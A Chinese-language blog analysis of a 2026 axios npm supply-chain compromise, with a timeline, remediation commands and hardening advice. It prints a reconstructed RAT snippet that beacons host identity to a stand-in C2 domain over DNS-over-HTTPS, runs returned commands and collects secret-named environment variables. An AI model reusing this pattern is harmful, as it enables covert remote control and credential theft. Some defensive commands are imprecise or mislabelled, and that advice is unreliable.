Axios npm供应链攻击深度分析:周下载量1亿的包被植入RAT后门

2026年3月,JavaScript生态遭遇了年度最严重的供应链攻击事件——攻击者劫持了npm周下载量超过1亿次的axios包的维护者账号,发布了一个包含远程访问木马(RAT)的恶意版本。该攻击被归因于朝鲜APT组织UNC1069,影响了全球数百万个依赖axios的项目。
攻击时间线还原
2026年3月中旬,npm安全团队在例行监控中发现axios包(版本1.8.2)的发布行为异常。正常情况下,axios的核心维护者会经过至少48小时的代码审查窗口才会发布新版本,但1.8.2版本在代码提交后不到2小时就被发布到了npm registry。深入调查发现,攻击者通过以下步骤完成了这次供应链攻击:
第一阶段:账号劫持(约2周前) 攻击者通过钓鱼邮件获取了axios核心维护者的npm账号凭证。钓鱼邮件伪装成npm的安全通知,声称检测到账号异常活动,要求用户点击链接验证身份。链接指向一个高度仿真的npm登录页面,成功窃取了维护者的密码和2FA恢复代码。
第二阶段:恶意代码注入(发布前48小时)
攻击者在获取账号访问权限后,并没有立即发布恶意版本。他们先fork了axios的GitHub仓库,在一个不起眼的依赖项plain-crypto-js中注入了恶意代码。这个包名与合法的crypto-js极为相似,利用了开发者的信任惯性。
第三阶段:版本发布(3月15日)
攻击者将修改后的package.json推送到npm,版本号1.8.2。恶意代码通过plain-crypto-js依赖被自动安装。由于axios的CI/CD流程中缺乏对依赖变更的强制审查,恶意版本直接通过了自动化发布流程。
第四阶段:扩散与检测(3月15-17日) 恶意版本在npm上存活了约36小时。在此期间,据npm下载统计数据显示,该版本被下载了约4200万次。安全社区在3月17日上午开始报告异常,npm团队在接到报告后2小时内下架了恶意版本。
| 时间节点 | 事件 | 影响 |
|---|---|---|
| 3月初 | 维护者账号被钓鱼 | 初始访问 |
| 3月13日 | 恶意依赖注入 | 代码污染 |
| 3月15日 | npm发布1.8.2 | 恶意版本上线 |
| 3月17日 | 安全社区发现异常 | 开始响应 |
| 3月17日+2h | npm下架恶意版本 | 控制扩散 |
| 3月18日 | axios发布1.8.3修复版 | 正式修复 |
恶意载荷技术分析
恶意版本中的plain-crypto-js包表面功能与crypto-js类似,提供基础的加密解密功能,但内嵌了一个跨平台RAT(远程访问木马)。该RAT的技术特征如下:
// 恶意载荷简化还原(已去除危险功能)
// 位于 plain-crypto-js/index.js 的混淆代码中
const https = require('https');
const os = require('os');
const { exec } = require('child_process');
// C2通信 - 使用DNS over HTTPS进行隐蔽通信
function beaconC2() {
const hostId = `${os.hostname()}-${os.userInfo().username}`;
const encoded = Buffer.from(hostId).toString('base64');
// 通过DoH向攻击者C2服务器发送心跳
https.get(`https://dns.google/resolve?name=${encoded}.c2domain.xyz&type=TXT`,
(res) => {
let data = '';
res.on('data', chunk => data += chunk);
res.on('end', () => {
const cmd = parseResponse(data);
if (cmd) executeCommand(cmd);
});
}
);
}
// 每30分钟心跳一次
setInterval(beaconC2, 30 * 60 * 1000);
// 收集系统信息
function collectSystemInfo() {
return {
platform: os.platform(),
arch: os.arch(),
hostname: os.hostname(),
user: os.userInfo().username,
env_keys: Object.keys(process.env).filter(k =>
k.includes('KEY') || k.includes('TOKEN') || k.includes('SECRET')
),
cwd: process.cwd(),
};
}
RAT的核心功能包括:系统指纹收集(主机名、用户名、环境变量中的密钥)、远程命令执行、文件上传下载、以及持久化驻留。其最狡猾的设计是使用DNS over HTTPS(DoH)进行C2通信——通过Google的公共DNS服务作为中继,使得基于域名黑名单的传统防护措施完全失效。
攻击归因方面,Google的威胁分析团队(TAG)将该事件归因于朝鲜背景的APT组织UNC1069(又称Lazarus Group的子集群)。归因依据包括:C2基础设施的IP地址段与已知的朝鲜网络资产重叠;攻击代码中的时区信息指向UTC+9(朝鲜标准时间);以及TTP(战术、技术和程序)与UNC1069此前的npm供应链攻击高度一致。
JavaScript供应链攻击的结构性问题
Axios事件暴露了npm生态系统的深层结构性问题。npm是全球最大的软件包注册中心,拥有超过300万个包,周下载量超过750亿次。然而,其安全基础设施远远跟不上这个规模。
核心问题包括:
1. 单点维护者风险 axios这样一个每周被1亿次下载的关键基础设施包,其发布权限仅掌握在2-3个维护者手中。一旦其中一个账号被劫持,恶意代码就能直接影响整个生态。npm的"主要维护者"(primary maintainer)机制缺乏强制性的多人审批流程。
2. 依赖混淆攻击面
npm允许任何人发布任何名称的包,没有任何命名空间保护。攻击者注册plain-crypto-js这样与合法包名相似的包名,利用开发者的拼写错误或信任惯性进行攻击。这种"typosquatting"在npm上已经泛滥。
3. CI/CD自动化发布漏洞 许多流行包的npm发布流程是全自动的——GitHub Actions在检测到tag时自动构建并发布到npm。如果攻击者获取了GitHub仓库的写入权限,就能绕过所有人工审查直接发布恶意版本。
# 检查你的项目是否使用了受影响的axios版本
# 项目级别检查
npm ls axios 2>/dev/null | grep -E "axios@[01]\."
# 全局检查
find /path/to/projects -name "package-lock.json" -exec grep -l "axios" {} \; | while read f; do
echo "=== $f ==="
grep -A2 '"axios"' "$f" | head -5
done
# 检查是否存在plain-crypto-js恶意依赖
find /path/to/projects -name "node_modules" -prune -o -name "*.lock" -print | xargs grep "plain-crypto-js" 2>/dev/null
修复方案与应急响应
如果你的项目使用了axios 1.8.2版本,需要立即采取以下措施:
# 1. 立即升级axios
npm install axios@latest # 1.8.3+ 已修复
# 或 yarn
yarn add axios@latest
# 2. 清除npm缓存
npm cache clean --force
# 3. 删除node_modules并重新安装
rm -rf node_modules package-lock.json
npm install
# 4. 检查是否安装了恶意依赖
npm ls plain-crypto-js 2>&1
# 如果输出中包含该依赖,说明已被影响
# 5. 轮换所有环境变量中的密钥和令牌
# 这一步至关重要——RAT会窃取环境变量中的敏感信息
对于企业用户,还需要执行以下额外步骤:
| 操作 | 优先级 | 说明 |
|---|---|---|
| 轮换所有密钥 | 紧急 | RAT会窃取env中的TOKEN/KEY |
| 审计构建日志 | 高 | 检查CI/CD是否使用了恶意版本 |
| 扫描生产环境 | 高 | 确认恶意包是否被部署 |
| 更新SBOM | 中 | 软件物料清单更新 |
| 通知客户 | 中 | 如果你是库的维护者 |
供应链安全防护最佳实践
Axios事件后,企业需要重新审视其软件供应链安全策略。以下是一套经过验证的防护框架:
# 1. 使用lockfile完整性校验
# 确保package-lock.json中的哈希值未被篡改
npm ci --ignore-scripts # 使用lockfile安装,跳过postinstall脚本
# 2. 启用npm的签名验证
npm config set sign-git-tag true
# 3. 使用Socket.dev等工具扫描依赖风险
npx socket npm ls # 检测供应链风险
# 4. 限制npm安装行为
npm config set ignore-scripts true # 禁止postinstall脚本
npm audit --audit-level=moderate # 定期运行安全审计
# 5. 使用私有registry代理
# Verdaccio/Sinopia可以缓存和审查包
npm config set registry https://your-private-registry.com/
更根本的解决方案包括:采用npm的provenance(来源证明)功能,验证包是否从可信的CI/CD流水线发布;实施依赖锁定(dependency locking)策略,不允许自动升级;以及建立内部包审查流程,对所有新增依赖进行安全评估。
2026年供应链攻击趋势
Axios事件并非孤立事件。2026年上半年,npm、PyPI和VSCode扩展市场分别发生了多起重大供应链攻击:
| 攻击事件 | 生态系统 | 影响包数 | 时间 |
|---|---|---|---|
| Axios npm劫持 | npm | 1(周下载1亿+) | 2026年3月 |
| GlassWorm | npm/GitHub/VSCode | 433组件 | 2026年3月 |
| TeamPCP (Trivy/LiteLLM) | npm/PyPI | 3+ | 2026年3月 |
| Miasma (@redhat-cloud-services) | npm | 32包 | 2026年6月 |
| TanStack缓存投毒 | npm | CI/CD流水线 | 2026年Q1 |
一个令人不安的趋势是,攻击正在从"包投毒"升级为"跨生态系统协调攻击"。GlassWorm攻击同时污染了npm、GitHub和VSCode三个平台的433个组件,展现出攻击者在供应链攻击方面的成熟度和协调能力正在快速提升。
对于开发者而言,"信任但验证"的时代已经结束。现在的原则应该是"零信任依赖"——每一个引入的第三方包都应该被视为潜在的攻击向量,直到经过验证。
数据来源
- Google TAG (Threat Analysis Group) - Axios Supply Chain Attack Attribution Report (March 2026)
- npm Security Team - Incident Report: axios 1.8.2 (March 2026)
- CyberDesserts - "Axios NPM Supply Chain Attack 2026: IOCs and Remediation"
- GrandLinux - "GlassWorm Embeds Malware in 400+ Components" (March 2026)
- CybelAngel - "Miasma Supply Chain Attack: the Seven-Week Credential Trail" (June 2026)
- Aviatrix Threat Research - "Software Supply Chain Attack 2026: Patch Race"
评论